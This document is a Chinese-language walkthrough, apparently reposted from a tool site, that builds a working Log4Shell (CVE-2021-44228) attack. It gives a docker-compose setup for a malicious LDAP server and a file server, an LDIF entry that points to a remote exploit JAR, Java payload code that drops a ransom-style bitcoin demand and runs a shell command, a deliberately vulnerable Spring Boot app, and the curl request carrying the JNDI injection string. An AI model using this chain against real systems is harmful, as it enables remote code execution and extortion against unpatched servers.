cve-2021-44228-log4j-test

测试

1. LDAP服务器与恶意文件下载服务器

1.1 运行Docker-compose

• docker-compose.yml

  root@kitploit:~

  version: '2'
  services:
    dockerdj:
      image: openidentityplatform/opendj:latest
      container_name: ldap
      environment:
        ROOT_USER_DN: "cn=han"
        ROOT_PASSWORD: "han"
        BASE_DN: "dc=bumbing,dc=xyz"
      ports:
        - "389:1389"
        - "636:1636"
        - "4444:4444"
      volumes:
        - "./opendj/logs:/opt/opendj/data/logs"
    nginx:
      image: nginx:latest
      container_name: nginx
      ports:
        - "7080:80"
      volumes:
        - "./file:/usr/share/nginx/html:ro"
        - "./conf/nginx.conf:/etc/nginx/nginx.conf"
  

• 运行docker-compose

  root@kitploit:~

  docker-compose up -d
  

1.2 添加Ldif条目

• add.ldif

  root@kitploit:~

  version: 1
  
  dn: dc=bumbing,dc=xyz
  objectClass: domain
  objectClass: top
  dc: bumbing
  
  dn: cn=log4j,dc=bumbing,dc=xyz
  objectClass: javaContainer
  objectClass: javaNamingReference
  objectClass: javaObject
  objectClass: top
  cn: class
  javaClassName: xyz.bumbing.log4j.Exploit
  javaCodebase: http://{fileServer}:7080/exploit-1.jar
  javaFactory: xyz.bumbing.log4j.Exploit
  

• 添加包含恶意文件信息的Entry的命令

  root@kitploit:~

  ldapadd -D "cn=han" -w han -H ldap://{ldapServer} -f add.ldif
  

• 测试ldap（参数顺序重要）

  root@kitploit:~

  curl ldap://{ldapServer}/cn=log4j,dc=bumbing,dc=xyz
  

2. 恶意文件

• 在Java 8u191之前版本中发现漏洞，使用Java 8版本构建

2.1 构建恶意文件

• 恶意代码（可以添加下载其他恶意文件的命令）

  root@kitploit:~

  	public class Exploit implements javax.naming.spi.ObjectFactory{
          @Override
          public Object getObjectInstance(Object o, Name name, Context context, Hashtable<?, ?> hashtable) throws Exception {
      
              try {
                  new File("/Users//test").createNewFile();
                  String msg = "your computer has our virus. if you want to recover your computer, send bitcoin our wallet";
                  FileOutputStream fileOutputSteam = new FileOutputStream(new File("/Users/hanbeomhee/test"));
                  StringBuilder sb = new StringBuilder();
                  sb.append(o.toString()).append("\n");
                  sb.append(name).append("\n");
                  sb.append(msg);
                  fileOutputSteam.write(sb.toString().getBytes(StandardCharsets.UTF_8));
                  fileOutputSteam.close();
              } catch (IOException e) {
                  e.printStackTrace();
              }
  						Runtime.getRuntime().exec("open /Users//test");
              return null;
          }
      
      }
  

• 构建命令

  root@kitploit:~

  ./gradlew clean build
  

• 如果不是本地服务器，将exploit-1.jar文件上传到文件服务器的docker/file文件夹

• 确认下载 http://{fileServer}:7080/exploit-1.jar

3. 打开漏洞服务器

• Gradle结构

  root@kitploit:~

  plugins {
      	id 'org.springframework.boot' version '2.6.1'
      	id 'io.spring.dependency-management' version '1.0.11.RELEASE'
      	id 'java'
      }
      
      group = 'xyz.bumbing'
      version = '0.0.1-SNAPSHOT'
      sourceCompatibility = '8'
      
      configurations {
      	compileOnly {
      		extendsFrom annotationProcessor
      	}
      }
      
      repositories {
      	mavenCentral()
      }
      
      dependencies {
      	implementation 'org.springframework.boot:spring-boot-starter-web'
      	compileOnly 'org.projectlombok:lombok'
      	annotationProcessor 'org.projectlombok:lombok'
      	testImplementation 'org.springframework.boot:spring-boot-starter-test'
      	implementation "org.springframework.boot:spring-boot-starter-log4j2"
      	modules {
      		module("org.springframework.boot:spring-boot-starter-logging") {
      			replacedBy("org.springframework.boot:spring-boot-starter-log4j2", "Use Log4j2 instead of Logback")
      		}
      	}
      }
      
      test {
      	useJUnitPlatform()
      }
  

  • 在dependency中确认log4j版本为14.1

• 服务器代码

  root@kitploit:~

  @SpringBootApplication
  @RestController
  @Slf4j
  public class Log4jtestApplication {
  
  	public static void main(String[] args) {
  		SpringApplication.run(Log4jtestApplication.class, args);
  	}
  
  	@GetMapping("/log4j")
  	public void test(String param, HttpServletRequest request){
  		log.info(request.getHeader("User-Agent"));
  	}
  }
  

4. 运行

4.1 运行

curl --location --request GET 'localhost:8080/log4j' \
--header 'User-Agent: ${jndi:ldap://localhost/cn=log4j,dc=bumbing,dc=xyz}'